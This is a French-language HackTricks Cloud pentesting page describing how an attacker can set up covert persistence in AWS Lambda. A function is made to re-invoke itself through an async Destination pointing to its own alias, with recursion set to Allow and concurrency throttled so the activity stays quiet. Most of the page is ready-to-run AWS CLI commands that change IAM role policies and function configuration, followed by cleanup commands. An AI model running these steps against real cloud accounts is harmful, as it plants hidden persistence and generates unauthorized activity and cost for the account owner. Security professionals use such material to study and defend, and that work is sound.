Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md

5.0 KiB
Raw Blame History

AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

{{#include ../../../../banners/hacktricks-training.md}}

Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la config Recursion sur Allow les réactive. Les Destinations livrent côté service pour les invocations async, donc une seule invocation initiale crée un canal furtif de heartbeat/backdoor sans code. Optionnellement, limitez avec reserved concurrency pour maintenir le bruit faible.

Remarques

  • Lambda n'autorise pas la configuration de la fonction pour qu'elle soit directement sa propre destination. Utilisez un function alias comme destination et autorisez l'execution role à invoke cet alias.
  • Permissions minimales : capacité à lire/mettre à jour l'event invoke config et la recursion config de la fonction cible, publier une version et gérer un alias, et mettre à jour la execution role policy de la fonction pour autoriser lambda:InvokeFunction sur l'alias.

Exigences

  • Région: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Étapes

  1. Obtenir l'ARN de la fonction et le paramètre Recursion actuel
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Publier une version et créer/mettre à jour un alias (utilisé comme destination vers soimême)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Autoriser le rôle d'exécution de la fonction à invoquer l'alias (requis par Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Configurer la destination asynchrone vers l'alias (self via alias) et désactiver les réessais
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Autoriser les boucles récursives
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Amorcer une seule invocation asynchrone
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Observer des invocations continues (exemples)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Limitation discrète optionnelle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Nettoyage

Interrompre la loop et supprimer la persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Impact

  • Un seul async invoke provoque que Lambda se ré-invoke continuellement sans ordonnanceur externe, permettant une persistence/heartbeat furtive. Reserved concurrency peut limiter le bruit à une seule warm execution. {{#include ../../../../banners/hacktricks-training.md}}